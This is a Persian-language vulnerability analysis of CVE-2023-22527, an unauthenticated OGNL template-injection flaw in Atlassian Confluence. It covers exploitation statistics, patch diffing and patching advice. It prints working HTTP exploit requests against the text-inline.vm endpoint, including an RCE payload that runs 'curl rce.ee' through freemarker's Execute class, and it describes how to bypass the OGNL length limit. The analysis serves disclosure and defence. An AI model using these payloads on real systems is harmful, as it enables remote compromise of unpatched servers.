CVE-2023-22527 یک آسیب پذیری اجرای کد از راه دور بحرانی با CVSS: 10.0 در سرور و دیتاسنتر Atlassian Confluence میباشد که بر نسخههای قدیمی نرمافزار (نسخههای ۸ منتشر شده قبل از ۵ دسامبر ۲۰۲۳ و همچنین و ۸.۴.۵) تأثیر میگذارد و به مهاجمان احراز هویت نشده اجازه میدهد تا به اجرای کد از راه دور در نصبهای مستعد دست یابند.
طبق گزارش بنیاد Shadowserver و DFIR، تنها چند روز پس از آن که این نقص به اطلاع عموم رسید، نزدیک به ۴۰،۰۰۰ تلاش برای بهره برداری این آسیب پذیری در ۱۹ ژانویه از بیش از ۶۰۰ آدرس IP منحصر به فرد ثبت گردید.
اکثر آدرسهای IP مهاجمان از روسیه (۲۲,۶۷۴) و پس از آن سنگاپور، هنگ کنگ، ایالات متحده، چین، هند، برزیل، تایوان، ژاپن و اکوادور نشات میگیرند. مهاجمان با اجرای دستور whoami برای جمعآوری اطلاعات در مورد سطح دسترسی در سیستم، callbackها را تست میکنند.
تعداد کل تلاشهای بهرهبرداری ثبت شده توسط بنیاد Shadowserver بیش از ۳۹,۰۰۰ مورد است که اغلب حملات از آدرسهای IP روسی صورت گرفتهاند. بیش از ۱۱،۰۰۰ نمونه Atlassian تا ۲۱ ژانویه از طریق اینترنت در دسترس قرار داشتند، اما در حال حاضر مشخص نیست که چه تعداد از آنها در برابر CVE-2023-22527 آسیب پذیر هستند.
این آسیبپذیری، پتانسیل آن را دارد که به مهاجمان احراز هویت نشده اجازه دهد تا عبارات OGNL را به نمونه Confluence تزریق کنند که در نتیجه اجرای کدهای دلخواه و دستورات سیستمی را ممکن میسازد.
جزییات فنی
آسیب پذیری CVE-2023-22527 در واقع به عنوان ضعف تزریق تمپلیت (template injection weakness) توصیف میشود که به مهاجمان راه دور محرز نشده اجازه میدهد تا کد را روی endpoint های مرکز داده و سرور Confluence، نسخههای 8.0.x،.8.1.x ، 8.2.x ، 8.3.x، 8.4.x و 8.5.0 تا 8.5.3 اجرا کنند. یک اصلاح برای دیتاسنتر و سرور Confluenceنسخههای 8.5.4 (LTS)، 8.6.0 (فقط مرکز داده)، و 8.7.1 (فقط مرکز داده) و نسخههای بعدی در دسترس میباشد.
تحلیل اولیه
توضیحات CVE ارائه شده توسط Atlassian به وضوح نشان میدهد که این آسیب پذیری به طور خودکار در نسخه 8.5.4 به دلیل برخی تغییرات گنجانده شده غیرقابل استفاده میباشد. با این حال، آخرین نسخه Confluence، 8.5.5 نیز منتشر شده است که به طور کامل باگ اصلی را اصلاح کرده است.
وقتی تفاوتهای بین نسخههای 8.5.4 و 8.5.3 را با استفاده از Patch Diffing مقایسه کردیم، تعداد قابل توجهی از تغییرات، از جمله حذف و افزودن فایلها کشف گردید. این باعث شد که زمان قابل توجهی را صرف بررسی تفاوتهای مختلف کنیم که مرتبط به نظر میرسند و گاهی ما را به مسیرهای غیرمنتظره سوق میدهند. علاوه بر این، بر اساس دانش و پیشفرضهای ما و CVEهای اخیر مربوط به Confluence، به نظر نمیرسد که سطح حمله غیرقانونی قابلتوجهی وجود داشته باشد.
بخش قابل توجهی از وقت ما به بررسی فایلهایی اختصاص یافت که دارای تغییرات مرتبط با OGNL و آسیبپذیریهای بالقوه مانند سینکهای خطرناک منجر به تزریق OGNL، مانند findValue و translateVariables و غیره بودند؛ در حالی که به نظر میرسد بسیاری از این تغییرات مربوط به بازآفرینی کد هستند.
شناسایی سطح حمله
با تکیه بر تجربه قبلی خود با Confluence، متوجه شدیم که ” views ” واقعی در Confluence با استفاده از فایلهای تمپلیت Velocity ارائه میشوند. جالب اینجاست که به جای دسترسی به آنها صرفاً از طریق اکشنهای struts، میتوان توسط فایلهای vm.* نیز به آنها دست یافت و حتی به عنوان یک کاربر احراز هویت نشده به رندر صحیح ادامه میدهند.
ما با کشف این الگوها، شروع به جستجوی فایلهای تمپلیتی کردیم که پارامترهای $ را میپذیرفتند و سپس آنها را به سینکهای بالقوه خطرناک منتقل میکردند. ما چندین فایل را شناسایی کردیم که مقادیر پارامتر را مستقیماً به ognl.findValue$ یا stack.findValue$ ارسال میکردند. به عنوان مثال، یکی از این فایلها confluence/template/xhtml/pagelist.vm میباشد:
#set ($pageList = $stack.findValue($parameters.pages))
ما یک breakpoint (نقطه شکست) در دیباگر تابع “findValue” تنظیم کردیم تا مطمئن شویم که با موفقیت به آن رسیدهایم. با این حال، هنگامی که سعی کردیم مستقیماً با پارامتر “pages” به /confluence/template/xhtml/pagelist.vm دست پیدا کنیم، breakpoint فعال نگردید.
ما بعداً، با افزودن عباراتی برای کمک به دیباگ pagelist.vm به این نتیجه رسیدیم که این مورد عمل نمیکند و ممکن است parameters.pages$ به عنوان رشته ارسال نشود، بلکه به عنوان یک آبجکت ارسال شود و بعداً متوجه شدیم که اگر دابل کوتیشن در اطراف parameter.pages$ اضافه گردد، عمل خواهد کرد. از این رو، تغییر زیر کاملاً صحیح عمل میکند و منجر به تزریق OGNL میشود:
#set ($pageList = $stack.findValue(“$parameters.pages”))
ما در مرحله بعد، به سادگی به دنبال هر فراخوانی findValue که پارامترهای $ را در داخل دابل کوتیشن میگیرد، گشتیم و در کمال تعجب یک مورد را در confluence/template/aui/text-inline.vm یافتیم.
#set( $labelValue = $stack.findValue(“getText(‘$parameters.label’)”) )
ما در این مرحله، متوجه شدیم که به سادگی وصله تغییر منابعی مانند فایلهای vm را از دست دادهایم. پس از انجام این کار مشخص شد که این فایل text-inline.vm در آخرین نسخه نیز حذف شده است.
ارزیابی اصطلاح OGNL
ما در مرحله بعد، یک breakpoint روی getText قرار دادیم تا مطمئن شویم که میتوانیم با موفقیت به نقطه مورد نظر برسیم. سپس در مرحله بعد، سعی کردیم فراخوانی تابع getText را حذف کنیم و عبارت OGNL خود را {33*3}# اضافه کنیم، اما این عبارت توسط HTML کدگذاری شده بود.
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
label=test\u0027%2b#{3*33}%2b\u0027
اجرای کد از راه دور از طریق تزریق OGNL
ما با نگاه به متغیرهایی مانند attr#، #application و غیره، متوجه شدیم که کلید KEY_velocity.struts2.context. در request map # وجود دارد و با استفاده از عبارت request[‘.KEY_velocity.struts2.context’].internalGet(‘ognl’)#، توانستیم به کلاس org.apache.struts2.views.jsp.ui.OgnlTool دست یابیم و متد Ognl.findValue(String, Object) را فراخوانی کنیم.
توجه به این نکته ضروری است که این کلاس متعلق به کتابخانه OGNL است و بخشی از Struts نیست. در نتیجه، این فراخوانی » findValue» خارج از محدودیتهای سندباکس Struts عمل میکند.
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027
پس از فرآیند دیباگ مشخص شد که اگر تمپلیت OGNL بیشتر از ۲۰۰ کاراکتر باشد، بر اساس تنظیمات struts.ognl.expressionMaxLength بلاک میشود.
ognl.OgnlException: Parsing blocked due to security reasons! [java.lang.SecurityException: This expression exceeded maximum allowed length: getText(‘AAAA…AAAA’)]
با این حال، با کمی تغییر در پیلود و استفاده از parameters map# به منظور ارسال آرگومان به متد exec، میتوانیم این محدودیت را دور زده و دستورات سیستمی را اجرا کنیم.
سخن پایانی
admin های سرور Confluence میبایست اطمینان یابند که endpointهای آنها حداقل به نسخهای که پس از ۵ دسامبر ۲۰۲۳ منتشر شده است، بهروزرسانی شدهاند. برای سازمانهایی که نمونههای Confluence قدیمی را اجرا میکنند، توصیه میشود که آنها را به عنوان endpointهای هک شده و خطر بالقوه در نظر بگیرند و به دنبال نشانههای نفوذ باشند و هرچه سریعتر به نسخه ایمن بهروزرسانی کنند.